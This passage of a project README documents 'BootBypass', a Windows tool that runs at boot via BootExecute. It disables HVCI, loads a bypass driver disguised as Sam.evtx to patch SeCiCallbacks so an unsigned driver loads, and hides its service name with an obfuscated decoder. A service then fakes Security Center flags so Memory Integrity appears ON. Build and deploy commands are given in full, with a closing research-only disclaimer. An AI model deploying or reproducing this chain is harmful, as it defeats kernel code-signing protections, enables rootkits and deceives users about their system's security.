FindResourceData, ExtractkvcFromResource, ExtractBbsAndRegisterService, Cleanupkvc, PatchSystemHiveHVCI, CheckAndDisableHVCI, RestoreHVCI, SetHVCIRegistryFlag, GetBootTimeUtc |
DriverManager.c |
LoadDriver (registry key creation + NtLoadDriver), UnloadDriver, IsDriverLoaded |
FileManager.c |
ExecuteRename (NtSetInformationFile + FILE_RENAME_INFORMATION), ExecuteDelete (FILE_DISPOSITION_INFORMATION), recursive directory delete |
SystemUtils.c |
memset_impl, wcslen, wcscpy_safe, wcscat_safe, wcscat_check, _wcsicmp_impl, TrimString, ULONGLONGToHexString, StringToULONGLONG, DisplayMessage, DisplayAlwaysMessage, DisplayStatus, AllocateZeroedBuffer, FreeAllocatedBuffer, ReadIniFile, ParseIniFile, FreeIniFileBuffer, QuerySystemModuleInformation |
MmPoolTelemetry.asm |
MmGetPoolDiagnosticString — runtime decoder for bypass driver service name |
bbs.asm |
HvciShutdownSvc service binary (~4 KB, pure MASM): main (load advapi32+ntdll, start SCM dispatcher), SvcMain, SvcCtrlHandler, DoStartupAction (write Enabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTime), DoShutdownAction (write Enabled=0), ShutdownThread |
Visual Studio 2022, BootBypass.vcxproj. Configuration: Release | x64.
Key project settings:
- Runtime library: none (
/NODEFAULTLIB) - Subsystem: Native
- Entry point:
NtProcessStartup - Additional dependencies:
ntdll.lib - Enable assembly: MASM (
ml64.exe) forMmPoolTelemetry.asm
build.ps1 builds the Visual Studio project and copies the output bb.exe to data\. Run from the repo root in an elevated Developer PowerShell:
.\build.ps1Run whenever either kvc.sys or bbs.exe changes. Processes both resources in a single invocation and auto-patches all four #define constants in SetupManager.c:
.\compress_idr.ps1Default paths (relative to repo root): rsc\kvc.sys → src\IDR_DRV1, rsc\bbs.exe → src\IDR_DRV2.
Override paths explicitly if needed:
.\compress_idr.ps1 -InputSys src\kvc.sys -OutputFile src\IDR_DRV1 `
-InputBbs rsc\bbs.exe -OutputFile2 src\IDR_DRV2 `
-SetupManager src\SetupManager.cOutput example:
--- IDR_DRV1 (kvc.sys) ---
Input : 14024 bytes (rsc\kvc.sys)
Output : 9139 bytes (src\IDR_DRV1) [-34.8%]
--- IDR_DRV2 (bbs.exe) ---
Input : 4096 bytes (rsc\bbs.exe)
Output : 1759 bytes (src\IDR_DRV2) [-57.1%]
SetupManager.c updated:
kvc_SIZE = 9139
kvc_UNCOMPRESSED_SIZE = 14024
bbs_SIZE = 1759
bbs_UNCOMPRESSED_SIZE = 4096
All four constants are patched in-place with whitespace alignment preserved. Rebuild after running the script.
Run from an elevated PowerShell session. The script:
- Copies
bb.exeto%SystemRoot%\System32\bb.exe. - Reads
drivers.ini, optionally replacesImagePathwith the value from-TargetDriverNtPath. - Writes the (possibly modified) INI to
%SystemRoot%\drivers.inias UTF-16 LE. - Appends
bbtoHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute(REG_MULTI_SZ), preserving the existingautocheck autochk *entry.
# Deploy — inject real driver NT path
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys"
# Deploy with force (no confirmation prompt)
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -Force
# Preview all actions without modifying the system
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -WhatIf
# Remove all traces (BootExecute entry, bb.exe, drivers.ini)
.\deploy.ps1 -Remove
-TargetDriverNtPathmust use an NT-style path beginning with\and without a drive letter.
Example:\SystemRoot\System32\drivers\omnidriver.sys
1. Run deploy.ps1 → installs bb.exe + drivers.ini + BootExecute entry
2. Reboot → SMSS executes bb.exe before any Win32 process
3. bb.exe runs:
a. Read/parse drivers.ini
b. If offsets missing → scan ntoskrnl.exe (Fast → Structural → Legacy, 1607+)
c. If HVCI enabled → patch SYSTEM hive → reboot (one reboot only)
d. Extract bbs.exe (IDR_DRV2) → System32\bbs.exe
Register HVCIShutdownSvc (AUTO_START) in SCM registry
e. Extract kvc.sys (IDR_DRV1) → Sam.evtx
f. Load bypass driver → patch SeCiCallbacks+0x20
g. Load unsigned target driver
h. Restore SeCiCallbacks → unload bypass driver → delete Sam.evtx
i. If RestoreHVCI=YES → PatchSystemHiveHVCI(TRUE) + SetHVCIRegistryFlag(TRUE)
4. Windows continues booting → SCM starts HvciShutdownSvc
→ DoStartupAction: Enabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTime
→ Security Center slider: Memory Integrity ON (right)
5. Target driver running
6. Verify: sc query <ServiceName> → STATE: 4 RUNNING
7. At shutdown: DoShutdownAction writes Enabled=0
→ next boot cycle ready for driver operations without a second reboot
This tool is intended exclusively for authorized security research, driver development, and educational purposes in controlled environments. Use only on systems you own or have explicit written permission to test.
© 2026 Marek Wesołowski (WESMAR)
